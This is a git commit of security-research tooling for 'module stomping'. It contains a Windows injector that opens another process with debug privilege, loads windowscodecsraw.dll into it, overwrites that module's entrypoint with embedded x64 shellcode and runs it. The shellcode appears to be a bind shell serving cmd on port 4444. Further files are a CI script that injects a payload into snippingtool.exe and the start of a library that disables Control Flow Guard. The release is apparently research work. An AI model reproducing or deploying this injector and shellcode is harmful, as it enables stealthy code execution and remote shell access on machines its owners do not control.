New repo for public release, part 1

This commit is contained in:
Aliz Hammond
2019-08-15 18:29:13 +08:00
commit b55b187ccb
18 changed files with 1625 additions and 0 deletions
+7
View File
@@ -0,0 +1,7 @@
.vs
*.vcxproj.filters
*.vcxproj.user
*/x64/
x64
Release
Debug
Vendored
+37
View File
@@ -0,0 +1,37 @@
// Build the main project via VS on a windows box
node('windows')
{
deleteDir()
checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: '9d40f624-34b5-4993-9520-2ecf8c5996bf', url: 'https://gitlab.countercept.mwr/ahammond/moduleStomping.git']]])
bat "\"${tool 'msbuildVS2017'}\" cowspot.sln /p:Configuration=Debug /p:Platform=\"x64\" /p:ProductVersion=1.0.0.${env.BUILD_NUMBER}"
archiveArtifacts 'x64\\Debug\\driver\\*,x64\\**\\*.pdb,x64\\**\\*.exe'
}
// Build the injection payloads on Linux. It's easier than trying to do an unattended install of mingw on windows (!)
node('linux')
{
sh "apt-get install -y g++-mingw-w64-x86-64 make"
deleteDir()
checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: '9d40f624-34b5-4993-9520-2ecf8c5996bf', url: 'https://gitlab.countercept.mwr/ahammond/moduleStomping.git']]])
dir("injectionPayloads")
{
sh "make ldscript=ldscript.WindowsCodecsRaw"
archiveArtifacts '*.dll'
}
stash "injectionPayloads"
}
// Now go back to the windows box, and do an injection!
// Try to inject the winsock payload, and test that the required socket is opened.
node('windows')
{
unstash "injectionPayloads"
bat returnStatus: true, script: "taskkill /im snippingtool.exe /f"
bat "start C:\\windows\\system32\\snippingtool.exe"
bat "x64\\debug\\inject.exe snippingtool.exe injectionPayloads\\winsock.dll WindowsCodecsRaw.dll"
bat "nc -v -z localhost 27015"
}
+3
View File
@@ -0,0 +1,3 @@
Part 1 of Countercept's research on module stomping - see https://blog.f-secure.com/hiding-malicious-code-with-module-stomping .
The full text of the associated blogpost is available in the Documentation directory.
+41
View File
@@ -0,0 +1,41 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28010.2046
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject_simple", "inject_simple\inject_simple.vcxproj", "{5C90611E-0874-4618-9C3D-B1385C83FBDF}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "injectionUtils", "injectionUtils\injectionUtils.vcxproj", "{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.ActiveCfg = Debug|x64
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.Build.0 = Debug|x64
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.ActiveCfg = Debug|Win32
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.Build.0 = Debug|Win32
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x64.ActiveCfg = Release|x64
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x64.Build.0 = Release|x64
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x86.ActiveCfg = Release|Win32
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x86.Build.0 = Release|Win32
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x64.ActiveCfg = Debug|x64
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x64.Build.0 = Debug|x64
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x86.ActiveCfg = Debug|Win32
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x86.Build.0 = Debug|Win32
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x64.ActiveCfg = Release|x64
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x64.Build.0 = Release|x64
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x86.ActiveCfg = Release|Win32
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B90013BF-86FB-4B90-88EB-72D19D7E01D0}
EndGlobalSection
EndGlobal
Binary file not shown.
+47
View File
@@ -0,0 +1,47 @@
#include "pch.h"
#include "../injectionUtils/public.h"
#include "shellcode.h"
void doUsage()
{
printf("Usage: inject_simple.exe <target process name>\n");
}
int wmain(int argc, TCHAR *argv[])
{
if (argc != 3)
{
doUsage();
return -1;
}
TCHAR* targetProcessName = argv[1];
DWORD targetPid = getPIDForProcessByName(targetProcessName);
if (targetPid == 0)
{
printf("Can't find process '%S'\n", targetProcessName);
return -1;
}
if (!EnableDebugPrivilege(TRUE))
{
printf("Couldn't enable debug privilege\n");
return -1;
}
HANDLE toScanHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS, FALSE, targetPid);
if (toScanHandle == NULL)
{
printf("Couldn't open target process, gle %d\n", GetLastError());
return -1;
}
// First, convince the target to load the library we're going to stomp on top of. We just inject a thread to LoadLibraryA.
void* moduleToStompBase = injectLoadLibrary(toScanHandle, L"windowscodecsraw.dll");
moduleInMemory targetModule = moduleInMemory(toScanHandle, moduleToStompBase);
targetModule.writeToModule(buf, targetModule.entrypoint, sizeof(buf));
targetModule.injectThread(targetModule.entrypoint, NULL, 0);
}
+178
View File
@@ -0,0 +1,178 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{5C90611E-0874-4618-9C3D-B1385C83FBDF}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>injectsimple</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="pch.h" />
<ClInclude Include="shellcode.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="inject_simple.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\injectionUtils\injectionUtils.vcxproj">
<Project>{171d6509-8ba1-489e-bb38-b3db2c9b53bb}</Project>
</ProjectReference>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+5
View File
@@ -0,0 +1,5 @@
// pch.cpp: source file corresponding to pre-compiled header; necessary for compilation to succeed
#include "pch.h"
// In general, ignore this file, but keep it around if you are using pre-compiled headers.
+6
View File
@@ -0,0 +1,6 @@
#ifndef PCH_H
#define PCH_H
#include <Windows.h>
#endif //PCH_H
+36
View File
@@ -0,0 +1,36 @@
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x00\x00\x00\x00\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\xc2"
"\xdb\x37\x67\xff\xd5\x48\x31\xd2\x48\x89\xf9\x41\xba\xb7\xe9"
"\x38\xff\xff\xd5\x4d\x31\xc0\x48\x31\xd2\x48\x89\xf9\x41\xba"
"\x74\xec\x3b\xe1\xff\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75"
"\x6e\x4d\x61\xff\xd5\x48\x81\xc4\xa0\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
+181
View File
@@ -0,0 +1,181 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>injectionUtils</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Lib>
<AdditionalDependencies>Shlwapi.lib</AdditionalDependencies>
</Lib>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Lib>
<AdditionalDependencies>Shlwapi.lib</AdditionalDependencies>
</Lib>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Lib>
<AdditionalDependencies>Shlwapi.lib</AdditionalDependencies>
</Lib>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Lib>
<AdditionalDependencies>Shlwapi.lib</AdditionalDependencies>
</Lib>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="moduleManipulation.h" />
<ClInclude Include="public.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="moduleManipulation.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="utils.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+724
View File
@@ -0,0 +1,724 @@
#include "stdafx.h"
#include <exception>
#include <sstream>
#include <vector>
#include <map>
#include "moduleManipulation.h"
#include "public.h"
#include <string>
#include <locale>
#include <codecvt>
#include <tlhelp32.h>
std::map<moduleInMemory::ROPGadgetInfo, unsigned long long> moduleInMemory::gadgetCache;
section::section()
{
name = std::wstring(L"(none)");
Characteristics = VirtualAddress = VirtualSize = 0;
};
section::section(IMAGE_SECTION_HEADER* hdr)
{
// Convert the section name to unicode so we can use it.
// Don't forget that the section name doesn't need to be null-terminated - if it is
// 8 bytes long then we must not read any further.
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
std::wstring secName = std::wstring(converter.from_bytes((char*)hdr->Name, (char*)&hdr->Name[7]));
size_t nullPos = secName.find(L'\0');
if (nullPos != secName.npos)
secName = secName.substr(0, nullPos);
name = secName;
Characteristics = hdr->Characteristics;
PhysicalAddress = hdr->Misc.PhysicalAddress;
VirtualAddress = hdr->VirtualAddress;
VirtualSize = hdr->Misc.VirtualSize;
}
relocation::relocation(unsigned long long newTargetSite, unsigned long long newFixedUpValue, unsigned int newSize)
{
targetSite = newTargetSite;
fixedUpValue = newFixedUpValue;
size = newSize;
}
exportedFunc::exportedFunc(std::wstring functionName, std::wstring forwardedModuleName, std::wstring forwardedFunctionName)
{
this->functionName = functionName;
this->functionPointerSite = 0;
this->functionPointerRVA = 0;
this->forwardedModuleName = forwardedModuleName;
this->forwardedFunctionName = forwardedFunctionName;
isForwarded = TRUE;
};
exportedFunc::exportedFunc(std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA)
{
this->functionName = functionName;
this->functionPointerSite = functionPointerSite;
this->functionPointerRVA = functionPointerRVA;
isForwarded = FALSE;
};
importedFunc::importedFunc(std::wstring moduleName, std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA)
: exportedFunc(functionName, functionPointerSite, functionPointerRVA)
{
this->moduleName = moduleName;
};
moduleInMemory::moduleInMemory(HANDLE targetProcessHandle, std::wstring targetModuleName) : targetProcess(targetProcessHandle)
{
unsigned char* moduleBase = getModuleBase(targetProcess, targetModuleName.c_str());
if (moduleBase == NULL)
{
std::wstringstream os(L"");
os << "Failed to find module " << targetModuleName;
throw errorMaker::wruntime_error(os.str());
}
targetModuleBase = moduleBase;
commonInit();
}
moduleInMemory::moduleInMemory(HANDLE targetProcessHandle, void* targetModuleBase) : targetProcess(targetProcessHandle), targetModuleBase(targetModuleBase)
{
commonInit();
}
void moduleInMemory::commonInit()
{
// Load an unexported function we need in order to disable CFG
SetProcessValidCallTargets_ = (SetProcessValidCallTargetsType)GetProcAddress(LoadLibrary(L"Kernelbase"), "SetProcessValidCallTargets");
if (SetProcessValidCallTargets_ == NULL)
throw std::exception("Cannot resolve Kernelbase!SetProcessValidCallTargets\n");
processModule();
}
unsigned long long moduleInMemory::resolveExport(std::wstring importName)
{
